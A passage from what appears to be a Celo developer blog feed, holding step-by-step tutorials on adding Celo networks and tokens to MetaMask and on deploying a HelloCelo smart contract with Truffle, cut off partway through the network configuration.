That wraps up today’s topic on Plumo: An Ultralight Blockchain Client on Celo. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • ✅ Introduction to Plumo
  • ✅ Why is Plumo important?
  • ✅ A Simple Plumo Demonstration
  • ✅ Additional Plumo Resources

At this point, you’ve read a basic introduction to Plumo, tried a demo showcasing Plumo’s functionality, and have resources to help you access more details about Celo’s ultralight blockchain client.

GN! 👋

· 6 min read

A step-by-step tutorial to add the Celo network to your MetaMask wallet.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Connecting your MetaMask wallet to Celo.

Here’s an overview of what we’ll cover 🗒

  • ✅ Introduction to MetaMask
  • Step 1: How to Download MetaMask
  • Step 2: How to Create a MetaMask Wallet
  • Step 3: How to Add a Celo Network to MetaMask
  • Optional: Add Celo Assets to MetaMask

In 3 simple steps, you’ll be able to access the entire Celo network from your MetaMask wallet!

tip

Learn more: How to Add Celo to MetaMask A Brief History of MetaMask on Celo

Let’s go! 🚀

Introduction to MetaMask

MetaMask is a crypto wallet that allows you to buy, store, send and swap tokens. Celo enables MetaMask users to connect with Celo and interact with all of the dApps available on the Celo network.

MetaMask integrates with Celo

Celo users are able to integrate with MetaMask, the world’s most popular non-custodial digital wallet and Web3 gateway for desktop and mobile. Millions of users worldwide use MetaMask to safely discover, store and send digital assets, securely interact with third-party sites without exposing unnecessary data, and source the best prices across the widest variety of digital tokens.

Why use MetaMask with Celo?

MetaMask is a blockchain-based application that equips you with a key vault, secure login, token wallet and token exchange. It provides a secure means to connect to blockchain-based applications. MetaMask was originally created to interact with the Ethereum blockchain, has a large and growing community of users, and provides both an in-browser extension and a mobile app. Using MetaMask with Celo makes it quick and easy to access the Celo dApps with this powerful crypto wallet.

A quick note before getting started

Celo works with MetaMask, but MetaMask does not actively support compatibility with Celo. For that reason, it’s important to note that a few things might not work perfectly. For example, the MetaMask UI might show the ETH logo or currency symbol where you might expect it to show the Celo logo or currency symbol, or it might show no logo at all.

Step 1: Download MetaMask

MetaMask is compatible with Chrome, Firefox, Brave and Opera. It’s also available on all iOS and Android devices. You can download MetaMask for your browser or device at metamask.io/download.

image

note

This guide shows images using the MetMask mobile app on iOS, but the UI is similar on all devices.

Step 2: Create a MetaMask Wallet

Once MetaMask is installed you can create a new wallet.

  • Open the MetaMask app or select the MetaMask icon in the top right corner of your browser
  • Select Create a New Wallet. If you have used MetaMask previously, you may choose to import your wallet using your Secret Recovery Phrase or by Syncing with your MetaMask extension.

image

  • Create and confirm a new password, Accept the Terms of Use, and select Create Password

image

  • Select Reveal secret words to reveal your 12 word seed phrase

image

  • Copy your seed words to a secure location and select Continue
  • Verify your secret phrase then select Confirm

image

Step 3: Add a Celo Network to MetaMask

You can now connect to a Celo network from your MetaMask wallet.

  • From MetaMask select Settings > Networks > Add Network

image

Add the Celo network details to MetaMask (shown below)

Celo Mainnnet

  • Network Name: Celo (Mainnet)
  • New RPC URL: https://forno.celo.org
  • Chain ID: 42220
  • Currency Symbol (Optional): CELO
  • Block Explorer URL (Optional): https://explorer.celo.org

Celo Testnet

  • Network Name: Celo (Alfajores Testnet)
  • New RPC URL: https://alfajores-forno.celo-testnet.org
  • Chain ID: 44787
  • Currency Symbol (Optional): CELO
  • Block Explorer URL (Optional): https://alfajores-blockscout.celo-testnet.org

image

  • After adding Celo network details select Save
  • You can view the Celo network configuration from the MetaMask Networks screen

Your MetaMask wallet is properly configured. It’s that easy! The setup process is simple and fast. You can now use it to explore our network, add, transfer, send and receive assets on the Celo Network.

Optional: Add Celo Assets to MetaMask

Now that MetaMask wallet is set up with Celo, you can add additional Celo assets such as cUSD and cEUR to your wallet.

  • Open MetaMask and select the Celo network

image

  • Select Add Token to navigate to the Custom Token tab

image

  • Copy your preferred Token Address from the options below

Celo Mainnet

  • cUSD: 0x765de816845861e75a25fca122bb6898b8b1282a
  • cEUR: 0xd8763cba276a3738e6de85b4b3bf5fded6d6ca73

Celo Testnet

  • cUSD: 0x874069fa1eb16d44d622f2e0ca25eea172369bc1

  • cEUR: 0x10c892a6ec43a53e45d0b916b4b7d383b1b78c0f

  • Paste the Token Address into the Token Address Field

image

  • The Token Symbol and Decimals of Precision will populate automatically
  • Select Next and choose Add Tokens
  • This will take you to the home screen viewable under Tokens

image

Next steps with MetaMask and Celo

You’re now set up with MetaMask and Celo using a variety of Celo assets! If you’re interested in exploring DeFi options on Celo with your MetaMask wallet, you can check out networks like Ubeswap by going to https://app.ubeswap.org and selecting the Connect to a wallet button.

If you are using Metamask mobile, you will have to go to the Ubeswap app via the Metamask browser in the mobile app. Choose Metamask as your connection method. If you are connected to the wrong network (ie Ethereum), Ubeswap will prompt you to connect to the Celo network.

Congratulations 🎉

That wraps up today’s topic on Connecting your MetaMask wallet to Celo. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • ✅ Introduction to MetaMask
  • Step 1: How to Download MetaMask
  • Step 2: How to Create a MetaMask Wallet
  • Step 3: How to Add a Celo Network to MetaMask
  • Optional: Add Celo Assets to MetaMask

If you run into any issues, try reviewing the content or searching online to explore each topic in more detail. Hopefully, you’ve learned a few things about Connecting your MetaMask wallet to Celo that you can apply in the real world.

GN! 👋

· 10 min read

How to deploy a smart contract to Celo testnet, mainnet, or a local blockchain using Truffle.

header

Hello Developers 🌱

Welcome to today's post, where we'll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world. Today's topic is Deploying on Celo with Truffle.

Here's a list of what we'll cover 🗒

  • Step 1: Environment setup
  • Step 2: Project setup
  • Step 3: Write project code
  • Step 4: Create and fund your account
  • Step 5: Configure deployment settings
  • Step 6: Compile and migrate your contract
  • Step 7: Deploy your contract
  • Step 8: View your deployed contract
  • Step 9: Verify your smart contract

By the end of this post, you'll be able to create, deploy, and interact with your smart contract on Celo testnet, mainnet, or localhost using Truffle.

Let's go! 🚀

Introduction to Truffle​

Truffle is a world-class development environment, testing framework, and asset pipeline for blockchains using the Ethereum Virtual Machine (EVM). By creating a Truffle project and editing a few configuration settings you can easily deploy your project on Celo.

image

tip

Learn more: If you are new to Truffle check out the Truffle docs.

✅ Step 1: Environment setup

Before getting started you'll need to set up Celo in your local environment. You can do this on Mac or Windows and can find the details on docs.celo.org.

image

Celo projects include common dependencies like Nodejs, npm, nvm, yarn, git, and xCode. If you already have these installed you can follow this post to set up Celo specific dependencies.

Node v12.0.0

To build on Celo you’ll use node v12.0.0.

nvm install v12.0.0
nvm use v12.0.0
node --version

Celo Command Line Interface

The celocli lets you interact with the Celo Protocol smart contracts.

npm install -g @celo/celocli

image

Install Truffle

Truffle lets you to develop, test, and deploy dApps on Celo.

npm install -g truffle

Install Ganache

Ganache UI creates a local blockchain to help you deploy and test contracts. You can install and set up the UI from their website and can find more details in the Ganache docs.

image

tip

The @celo/ganache-cli is Celo’s version of Ganache. It doesn’t seem to be working for me but you can try installing it in your environment.

From the Ganache UI, create a new workspace on localhost:7545.

image

✅ Step 2: Project setup

Now that you have your environment setup, you’re ready to create your project! Open your terminal to create and navigate into a project folder.

mkdir celo-truffle && cd celo-truffle

image

Initialize an npm project

Initialize an npm project from within the project directory.

npm init -y

image

Install hdwallet-provider

Truffle/hdwallet-provider lets you sign Celo transactions for addresses derived from a mnemonic or private key. You can install this now and you’ll use it later when configuring your project.

npm install @truffle/hdwallet-provider --save

image

Install dotenv

Dotenv is a module that loads environment variables from a .env file. Install this now and you’ll use this to import information to your Truffle configuration file.

npm install dotenv

image

Initialize Truffle

Initializing Truffle creates your project’s truffle environment. Use truffle init to start up your truffle project!

truffle init

image

Open your project

Your project is set up and you’re ready to start building! Open your project in Visual Studio code or your preferred IDE.

code .

image

tip

You can launch VS Code from the command line by installing it in your shell path.

✅ Step 3: Build your project

To build your project you’ll write a smart contract, migrations, .env, and .gitignore file. You’ll also create an account, fund it with test tokens, and connect the account to your project.

Smart contract code

Create a file named HelloCelo.sol in the /contracts folder and add the Solidity code below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract HelloCelo {
string public greet = "Hello Celo!";
}

image

tip

Learn more: Read the Solidity docs or Solidity by Example to learn more about the programming language for building smart contracts.

Create migrations file

Create a file named 2_deploy_contracts.js in the /migrations folder and add the code below.

var HelloCelo = artifacts.require('HelloCelo')
module.exports = function (deployer) {
deployer.deploy(HelloCelo)
}

image

tip

If you created a different smart contract, update the variable name, file requirement and deployment to match your new contract.

✅ Step 4: Create and fund your account

To deploy to the test or main Celo networks, you’ll need an account that is funded with CELO tokens. In this post, you’ll get set up to deploy for free on the Celo Alfajores test network!

Create an account

If you don’t already have an account you would like to use, you can run celocli account:new from your terminal to create one for this project.

celocli account:new

image

Fund your account

The Alfajores testnet faucet helps you fund your account with test tokens. Copy your address from the terminal and paste it into the site to fund your account. This should send you tokens within a few seconds.

image

Check account balance

If you’d like to check your new account balance, you can use celocli to make sure you received your test funds.

celocli account:balance 0xYOURADDRESS

image

Create .env file

A .env file will help you hide the sensitive information you need for your configuration file. Create a .env file in your root folder and add your account’s private key.

PRIVATE_KEY="5ead931ce4812310e31f84c471945b96a13098aa6dc8cf0d3f6f451a5dea56cc"

image

Create .gitignore file

A .gitignore file will allow you to ignore certain files if you add this project to git or GitHub. Create a .gitignore file in your root directory and add the code below to ignnore your node_modules, .DS_Store and .env files.

# dependencies
/node_modules
# Mac users
.DS_Store
#hidden files
.env

image

tip

See ignoring files for more information.

✅ Step 5: Configure deployment settings

The truffle configuration file specifies the networks for your contract deployment. By default, it is set up to deploy to the Ethereum network but you can update this information to deploy to any Celo network.

Update Truffle.config

Open truffle-config.js in a text editor and replace its contents with this Celo configuration code. This updates the truffle.config.js file to point toward Celo networks.

image

Local network

Creating your Ganache workspace earlier made a local blockchain at localhost:7545. The local configuration connects to this local blockchain.

local: {
host: "127.0.0.1",
port: 7545,
network_id: "*"
}